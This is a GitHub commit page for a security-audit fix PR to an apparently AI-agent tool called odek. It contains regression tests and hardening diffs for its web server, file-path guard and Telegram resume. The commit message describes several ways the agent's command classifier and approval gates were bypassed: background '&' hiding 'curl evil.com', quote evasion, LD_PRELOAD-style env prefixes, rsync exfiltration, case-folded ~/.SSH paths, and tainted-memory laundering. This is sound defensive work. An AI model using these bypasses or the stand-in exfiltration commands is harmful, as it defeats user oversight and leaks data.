Skip to content

Commit 7ebfac1

Browse files
authored
fix(security): land 2026-08 audit fixes — 3 critical classifier/config bypasses, 8 high findings, quick-win batch (#137)
* fix(security): close three critical audit findings — classifier & separator, quote-evasion, project binary_path 2026-08 audit, critical findings (RED→GREEN with regression tests): - danger: lone `&` was a word character, not an operator — every token after it classified as arguments of the first verb while sh -c executed it as a background command (cat x & curl evil.com → safe/allow). tokenize now emits `&` as a separator like `;`, with the redirection spellings (>&, >>&, &>, &>>, |&) kept as single redirect tokens. - danger: extractSubstitutions returned early on an unterminated single quote and ignored double-quote state — one apostrophe inside a double-quoted argument hid every later $(...)/backtick body from classification. The scanner now tracks double quotes, honours backslash escapes outside quotes, and keeps scanning past stray quotes (fail-closed). - config: transcription/vision sections were missing from the §18 trust split — a cloned repo could point transcription.binary_path at a planted binary that the transcribe tool executes with no approval (auto-triggered on Telegram voice notes via auto_transcribe). Both sections are now ignored from ./odek.json like telegram/memory/web_search. docs/SECURITY.md §18 + new mitigations §56–§58. * fix(security): close eight high-severity audit findings across classifier, approvers, memory, and MCP client 2026-08 audit, high findings (RED→GREEN with regression tests): - danger: leading VAR=value assignments were skipped wholesale — GIT_PAGER/LD_PRELOAD/MANPAGER/NODE_OPTIONS values redefined how the wrapped 'safe' verb executed (system_write now, prompt by default). - danger: sed --expression=/--file= attached forms and -es/…/e fused clusters escaped the sed 'e'-flag code-exec check. - danger: rsync host:/path (no @) and rsync:// targets classified safe — silent whole-tree exfiltration; any non-flag colon operand is egress now. - danger: git worktree remove/prune added to the data-loss verbs. - danger+file_tool: case-folded home-relative directory components (H-5 residual — ~/.SSH/id_rsa and ~/.ODEK/config.json classified local_write on case-insensitive filesystems). - danger/loop/wsapprover: tool_batch excluded from the trust shortcut in ALL approvers via danger.TrustShortcutAllowed (M-1 residual — Telegram had the fix; one Trust click on a serve batch card blanket-approved the session via SetTrustAll). - memory: memory view enforces the episode provenance gate (tainted, unpromoted episodes were readable directly, laundering their taint into trusted recall at session end); fails closed on unknown/error. - mcpclient: stdin writes moved to a single writer goroutine with ctx-bounded enqueueing — a server that stops reading stdin used to wedge every later call on c.mu before the timeout select could fire, permanently hanging long-lived serve/telegram clients. docs/SECURITY.md §59–§66 (+§35b parity note). * fix(security): land 2026-08 audit quick-win batch — serve, telegram, artifact, loop Medium/low findings (RED→GREEN where testable): - serve: http.Server gains ReadHeaderTimeout/IdleTimeout (unauthenticated slowloris held half-open connections forever); the ?token= comparison in handleStatic is constant-time like every other token check; ID generators (conn/run/approval) fail closed on crypto/rand errors instead of emitting predictable colliding zero IDs; WS model switch validates the model ID before applying it to the agent. - serve/api: markdown export uses a fence longer than the longest backtick run in the content — a literal ```` line in model/tool output could close the fixed fence and forge document structure. - telegram: chat scoping matches the tg-<id>- boundary instead of a bare string prefix, closing the 999-vs-9999 decimal-prefix collision that let one allowlisted chat resume/list/prune another's sessions; /resume no longer panics on a zero-message session. - artifact: Validate enforces an absolute 64 MiB ceiling at Stat time (sha256-without-size_bytes forced an unbounded streaming hash); envelopes cap artifact count at 64 (Render's metadata lines bypassed max_result_chars). - loop: trimToSurvival scans the whole head for the compaction digest — a fixed 4-message window dropped it whenever memory/skill/episode blocks pushed it deeper. - config: warn when ~/.odek/config.json is group/world-readable (the documented permission check covered only secrets.env). - docs/MCP.md: drop the ${VAR} env example that silently never expanded. docs/SECURITY.md §67–§70. * test(security): complete regression coverage for every 2026-08 audit change Coverage audit of the full PR diff; gaps filled: - danger: |& both-streams pipe must classify the second stage on its own verb (echo data |& curl evil.com → network_egress). - loop: deep compaction digest (index 5, past the old 4-message window, pushed down by memory/skill/episode blocks) must survive trimToSurvival — TestTrimToSurvival_PreservesDigest places the digest at index 1, inside the old window, which is why it never caught the bug. - config: loadFile warns on group/world-readable global config with a chmod hint; 0600 stays silent. - mcpclient: sticky writeErr fails fast instead of burning the full per-server timeout against a dead connection. - serve: newServeHTTPServer extracted so the slowloris timeouts (ReadHeaderTimeout/IdleTimeout) are pinned; conn/run ID generators pinned for prefix/length/uniqueness; invalid model ID rejected on the PRODUCTION handleWS loop (E2E-style harness, not the echo test server) before the switch is applied. - telegram: /resume preview extracted into resumeTaskPreview so the zero-message guard is directly testable (nil/empty/short/capped). go test ./... green, go vet clean. * test(security): make invalid-model WS test CI-deterministic The production-path WS test assumed an API key was present (local env has one); on CI the agent failed to construct before the prompt was processed. Wire it through the existing mock-LLM harness (setTestEnv + buildServeMux + dialTestWS) so agent construction succeeds with ODEK_BASE_URL pointed at an httptest server, keeping the assertion on the invalid-model error event. * test(security): fix HOME leak in invalid-model WS test newTestSessionStore captures the current HOME in its t.Cleanup — after setTestEnv had already switched it, so the LIFO cleanup restored the temp HOME over setTestEnv's correct restore, poisoning os.UserHomeDir() for every later test in the package (TestConfineToCWD_AllowsOdekDir, TestSecurity_ReadFile_SSHKeyPath, symlink-traversal tests). Create the store directly under setTestEnv's HOME instead, whose cleanup already scrubs the tree.
1 parent 6497315 commit 7ebfac1

30 files changed

Lines changed: 1668 additions & 92 deletions

‎cmd/odek/audit_serve_test.go‎

Lines changed: 185 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,185 @@
1+
package main
2+
3+
// Regression tests for the 2026-08 security audit — serve/API quick wins.
4+
5+
import (
6+
"encoding/json"
7+
"net/http"
8+
"net/http/httptest"
9+
"strings"
10+
"testing"
11+
"time"
12+
13+
"github.com/BackendStack21/odek/internal/llm"
14+
"github.com/BackendStack21/odek/internal/session"
15+
16+
golangws "golang.org/x/net/websocket"
17+
)
18+
19+
// TestAudit_ExportMarkdown_FenceBreakout audits the finding that the
20+
// markdown export used a fixed 4-backtick fence: any transcript line of
21+
// exactly ```` closed it early, letting model/tool output forge document
22+
// structure in the "human-shareable" export. The fence must grow longer
23+
// than the longest backtick run in the fenced content.
24+
func TestAudit_ExportMarkdown_FenceBreakout(t *testing.T) {
25+
sess := &session.Session{
26+
ID: "audit-fence-test",
27+
Task: "fence test",
28+
Messages: []llm.Message{
29+
{Role: "user", Content: "check this"},
30+
{Role: "assistant", Content: "````\n# FORGED HEADING\n```normal```\n````"},
31+
{Role: "tool", Name: "browser", Content: "````\n## forged tool section\n````"},
32+
},
33+
}
34+
out := exportSessionMarkdown(sess)
35+
// The assistant content's longest run is 4 backticks → fence must be ≥5.
36+
// A 5-backtick opener cannot be closed by any 4-backtick line in the
37+
// body, so the forged structure stays inside the code block.
38+
if !strings.Contains(out, "`````markdown") {
39+
t.Errorf("expected a 5-backtick fence around assistant content:\n%s", out)
40+
}
41+
if !strings.Contains(out, "`````text") {
42+
t.Errorf("expected a 5-backtick fence around tool content:\n%s", out)
43+
}
44+
}
45+
46+
// TestAudit_CodeFence pins the fence-length computation directly.
47+
func TestAudit_CodeFence(t *testing.T) {
48+
cases := []struct {
49+
body string
50+
want int
51+
}{
52+
{"plain text", 4},
53+
{"has `one` backtick", 4},
54+
{"has ```three```", 4},
55+
{"has ````four````", 5},
56+
{"has ```````seven```````", 8},
57+
}
58+
for _, c := range cases {
59+
if got := len(codeFence(c.body)); got != c.want {
60+
t.Errorf("codeFence(%q) length = %d, want %d", c.body, got, c.want)
61+
}
62+
}
63+
}
64+
65+
// TestAudit_ServeHTTPServerTimeouts pins the slowloris hardening: without
66+
// ReadHeaderTimeout/IdleTimeout, any unauthenticated client could hold
67+
// half-open connections forever (rate limiting and the CSRF token only
68+
// apply after the request line arrives).
69+
func TestAudit_ServeHTTPServerTimeouts(t *testing.T) {
70+
srv := newServeHTTPServer(http.NewServeMux())
71+
if srv.ReadHeaderTimeout <= 0 {
72+
t.Errorf("ReadHeaderTimeout = %v, want > 0", srv.ReadHeaderTimeout)
73+
}
74+
if srv.IdleTimeout <= 0 {
75+
t.Errorf("IdleTimeout = %v, want > 0", srv.IdleTimeout)
76+
}
77+
}
78+
79+
// TestAudit_IDGenerators pins the conn/run ID generators: correct prefix,
80+
// fixed length, and uniqueness. (The 2026-08 fix made them fail closed on
81+
// crypto/rand errors; the happy path must keep producing distinct IDs.)
82+
func TestAudit_IDGenerators(t *testing.T) {
83+
seenConn := map[string]bool{}
84+
for i := 0; i < 100; i++ {
85+
id := newWSConnID()
86+
if !strings.HasPrefix(id, "conn-") || len(id) != len("conn-")+16 {
87+
t.Fatalf("newWSConnID() = %q, want conn- + 16 hex chars", id)
88+
}
89+
if seenConn[id] {
90+
t.Fatalf("newWSConnID() repeated: %s", id)
91+
}
92+
seenConn[id] = true
93+
}
94+
seenRun := map[string]bool{}
95+
for i := 0; i < 100; i++ {
96+
id := newRunID()
97+
if !strings.HasPrefix(id, "run-") || len(id) != len("run-")+20 {
98+
t.Fatalf("newRunID() = %q, want run- + 20 hex chars", id)
99+
}
100+
if seenRun[id] {
101+
t.Fatalf("newRunID() repeated: %s", id)
102+
}
103+
seenRun[id] = true
104+
}
105+
}
106+
107+
// TestAudit_WebSocketInvalidModelRejectedEarly pins the WS-loop ordering
108+
// fix: an invalid model ID must be rejected before the switch is applied to
109+
// the agent (a rejected ID used to stay active and silently reused by the
110+
// next prompt sent without a model field). Runs the production handleWS
111+
// loop with the mock-LLM harness so agent construction succeeds without a
112+
// real API key; the invalid model is rejected before any LLM call, so the
113+
// mock never answers.
114+
func TestAudit_WebSocketInvalidModelRejectedEarly(t *testing.T) {
115+
llmSrv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
116+
w.Write([]byte(`{"choices":[{"message":{"content":"x"}}]}`))
117+
}))
118+
defer llmSrv.Close()
119+
cleanupEnv := setTestEnv(t, llmSrv.URL)
120+
defer cleanupEnv()
121+
122+
// Build the store directly under setTestEnv's HOME rather than via
123+
// newTestSessionStore: that helper captures the *current* HOME (already
124+
// switched) in its t.Cleanup, so its restore would re-leak this test's
125+
// temp HOME over setTestEnv's restore and poison every later test's
126+
// os.UserHomeDir(). setTestEnv's cleanup already scrubs this HOME's
127+
// .odek/sessions tree.
128+
store, err := session.NewStore()
129+
if err != nil {
130+
t.Fatalf("session.NewStore: %v", err)
131+
}
132+
ln, mux := buildServeMux(t, store)
133+
defer ln.Close()
134+
go func() { _ = serveOnListener(ln, mux) }()
135+
waitForHTTP(t, ln.Addr().String())
136+
137+
wsUpgradeLimiter.reset()
138+
conn := dialTestWS(t, ln.Addr().String())
139+
defer conn.Close()
140+
141+
msg := map[string]string{"type": "prompt", "content": "hi", "model": "BAD MODEL!"}
142+
payload, _ := json.Marshal(msg)
143+
if err := golangws.Message.Send(conn, string(payload)); err != nil {
144+
t.Fatalf("Send(): %v", err)
145+
}
146+
147+
conn.SetReadDeadline(time.Now().Add(10 * time.Second))
148+
for i := 0; i < 5; i++ {
149+
var data []byte
150+
if err := golangws.Message.Receive(conn, &data); err != nil {
151+
t.Fatalf("Receive event %d: %v", i, err)
152+
}
153+
var evt map[string]any
154+
if err := json.Unmarshal(data, &evt); err != nil {
155+
t.Fatalf("unmarshal event %d: %v", i, err)
156+
}
157+
if evt["type"] == "error" {
158+
if got, _ := evt["message"].(string); !strings.Contains(got, "invalid model ID") {
159+
t.Fatalf("error message = %q, want 'invalid model ID'", got)
160+
}
161+
return
162+
}
163+
}
164+
t.Fatal("no invalid-model error event received")
165+
}
166+
167+
// TestAudit_ResumeTaskPreview pins the Telegram /resume guard: a zero-message
168+
// session must render an empty preview (the handler then reports "(empty)")
169+
// instead of panicking on messages[0].
170+
func TestAudit_ResumeTaskPreview(t *testing.T) {
171+
if got := resumeTaskPreview(nil); got != "" {
172+
t.Errorf("resumeTaskPreview(nil) = %q, want \"\"", got)
173+
}
174+
if got := resumeTaskPreview([]llm.Message{}); got != "" {
175+
t.Errorf("resumeTaskPreview(empty) = %q, want \"\"", got)
176+
}
177+
if got := resumeTaskPreview([]llm.Message{{Role: "user", Content: "short task"}}); got != "short task" {
178+
t.Errorf("resumeTaskPreview(short) = %q, want %q", got, "short task")
179+
}
180+
long := strings.Repeat("x", 200)
181+
got := resumeTaskPreview([]llm.Message{{Role: "user", Content: long}})
182+
if runes := len([]rune(got)); runes != 81 || !strings.HasSuffix(got, "…") {
183+
t.Errorf("resumeTaskPreview(long) = %d runes, want 81 with ellipsis suffix", runes)
184+
}
185+
}

‎cmd/odek/file_tool.go‎

Lines changed: 15 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1157,15 +1157,24 @@ func confineToCWD(path string) (string, error) {
11571157
// config can disable the sandbox or enable YOLO mode on the next run,
11581158
// and a dropped SKILL.md is auto-loaded into future prompts. Skills
11591159
// are legitimately written through the dedicated skill_save/skill_patch
1160-
// tools, not the generic file tools.
1160+
// tools, not the generic file tools. Case-folded: ~/.ODEK is the same
1161+
// directory as ~/.odek on case-insensitive filesystems (macOS APFS).
11611162
home, homeErr := os.UserHomeDir()
11621163
if homeErr == nil {
1163-
odekPrefix := home + "/.odek/"
1164-
if strings.HasPrefix(absResolved, odekPrefix) {
1165-
if isProtectedOdekPath(strings.TrimPrefix(absResolved, odekPrefix)) {
1166-
return "", fmt.Errorf("path %q is a protected odek configuration path and cannot be written by file tools", path)
1164+
// absResolved has symlinks resolved; $HOME may itself be a symlinked
1165+
// path (macOS temp dirs), so compare against both spellings.
1166+
homes := []string{home}
1167+
if rh, rerr := filepath.EvalSymlinks(home); rerr == nil && rh != home {
1168+
homes = append(homes, rh)
1169+
}
1170+
for _, h := range homes {
1171+
odekPrefix := h + "/.odek/"
1172+
if len(absResolved) >= len(odekPrefix) && strings.EqualFold(absResolved[:len(odekPrefix)], odekPrefix) {
1173+
if isProtectedOdekPath(absResolved[len(odekPrefix):]) {
1174+
return "", fmt.Errorf("path %q is a protected odek configuration path and cannot be written by file tools", path)
1175+
}
1176+
return abs, nil
11671177
}
1168-
return abs, nil
11691178
}
11701179
}
11711180

‎cmd/odek/file_tool_test.go‎

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1400,6 +1400,30 @@ func TestIsProtectedOdekPath_CaseInsensitive(t *testing.T) {
14001400
}
14011401
}
14021402

1403+
// TestConfineToCWD_CaseInsensitiveOdekAnchor audits the 2026-08 finding that
1404+
// the ~/.odek carve-out in confineToCWD matched the `.odek` directory
1405+
// component case-sensitively: with cwd = $HOME (a documented, warned-but-
1406+
// supported mode), write_file to ~/.ODEK/config.json bypassed the protected
1407+
// anchor check and replaced the real config on case-insensitive filesystems.
1408+
func TestConfineToCWD_CaseInsensitiveOdekAnchor(t *testing.T) {
1409+
home := t.TempDir()
1410+
t.Setenv("HOME", home)
1411+
if err := os.MkdirAll(filepath.Join(home, ".odek"), 0755); err != nil {
1412+
t.Fatal(err)
1413+
}
1414+
t.Chdir(home)
1415+
1416+
if _, err := confineToCWD(filepath.Join(home, ".ODEK", "config.json")); err == nil {
1417+
t.Fatal("confineToCWD(~/.ODEK/config.json) allowed; want protected-odek rejection")
1418+
}
1419+
1420+
// The case-variant carve-out still admits non-anchor state paths
1421+
// (memory/ is not a trust anchor) — folding must not over-block.
1422+
if _, err := confineToCWD(filepath.Join(home, ".ODEK", "memory", "facts.md")); err != nil {
1423+
t.Fatalf("confineToCWD(~/.ODEK/memory/facts.md) = %v, want carve-out allow", err)
1424+
}
1425+
}
1426+
14031427
// ── Helpers ────────────────────────────────────────────────────────────
14041428

14051429
func callJSON(t *testing.T, tool interface {

‎cmd/odek/proactive.go‎

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -51,6 +51,22 @@ func injectReturnAfterBreak(ctx context.Context, mm *memory.MemoryManager, messa
5151
return messages
5252
}
5353

54+
// resumeTaskPreview renders the first-message preview for the Telegram
55+
// /resume confirmation, capped at 80 runes-ish. An empty history renders
56+
// as "" — the handler then reports "(empty)" instead of panicking on
57+
// messages[0] (audit 2026-08: a persisted zero-message session crashed the
58+
// update loop on /resume).
59+
func resumeTaskPreview(messages []llm.Message) string {
60+
if len(messages) == 0 {
61+
return ""
62+
}
63+
p := messages[0].Content
64+
if len(p) > 80 {
65+
p = p[:80] + "…"
66+
}
67+
return p
68+
}
69+
5470
// followUpSuggester is the subset of *memory.MemoryManager used by
5571
// printFollowUpSuggestions; an interface so tests can substitute a fake.
5672
type followUpSuggester interface {

‎cmd/odek/serve.go‎

Lines changed: 27 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -541,11 +541,26 @@ func requestServeShutdown() {
541541
}
542542

543543
// serveOnListener serves the odek Web UI on a pre-created listener.
544+
// newServeHTTPServer builds the serve HTTP server. Extracted so tests can
545+
// pin the unauthenticated-connection hardening (audit 2026-08): without a
546+
// header deadline, any local (or remote, on a non-loopback --addr) client
547+
// can hold thousands of half-open connections forever — the rate limiter
548+
// and CSRF token only apply after the request line arrives. Body reads
549+
// stay unbounded so long agent runs and uploads are unaffected (only the
550+
// pre-request header phase and idle keep-alives are timed).
551+
func newServeHTTPServer(mux *http.ServeMux) *http.Server {
552+
return &http.Server{
553+
Handler: mux,
554+
ReadHeaderTimeout: 10 * time.Second,
555+
IdleTimeout: 120 * time.Second,
556+
}
557+
}
558+
544559
// Extracted for testing — allows E2E tests to pass a listener on a known port.
545560
// Handles SIGINT/SIGTERM for graceful shutdown: stops accepting new connections
546561
// and gives in-flight requests up to 5 seconds to finish.
547562
func serveOnListener(listener net.Listener, mux *http.ServeMux) error {
548-
srv := &http.Server{Handler: mux}
563+
srv := newServeHTTPServer(mux)
549564

550565
// Catch Ctrl-C and SIGTERM.
551566
quit := make(chan os.Signal, 1)
@@ -1195,8 +1210,15 @@ func handleWS(store *session.Store, resources *resource.Registry, resolved confi
11951210
continue
11961211
}
11971212

1198-
// Handle runtime model switching
1213+
// Handle runtime model switching. Validate first (audit 2026-08):
1214+
// applying the switch before handlePrompt's length/charset check
1215+
// left a rejected model ID active on the agent, silently reused by
1216+
// the next prompt sent without a model field.
11991217
if msg.Model != "" && msg.Model != currentModel {
1218+
if len(msg.Model) > maxModelIDBytes || !modelIDPattern.MatchString(msg.Model) {
1219+
writeWSJSON(conn, map[string]any{"type": "error", "message": "invalid model ID"})
1220+
continue
1221+
}
12001222
currentModel = msg.Model
12011223
resolved.Model = msg.Model
12021224
agent.SwitchModel(msg.Model)
@@ -2312,7 +2334,9 @@ func handleStatic(wsToken string) http.HandlerFunc {
23122334
// cookie (sent automatically on same-site WebSocket upgrades) and as a
23132335
// meta tag (read by app.js and sent as a WebSocket subprotocol).
23142336
if r.URL.Path == "/" && wsToken != "" {
2315-
if r.URL.Query().Get("token") == wsToken {
2337+
// Constant-time, like every other comparison in this file: this
2338+
// is the one endpoint that mints the authenticated cookie.
2339+
if subtle.ConstantTimeCompare([]byte(r.URL.Query().Get("token")), []byte(wsToken)) == 1 {
23162340
http.SetCookie(w, &http.Cookie{
23172341
Name: wsTokenCookieName,
23182342
Value: wsToken,

0 commit comments

Comments
 (0)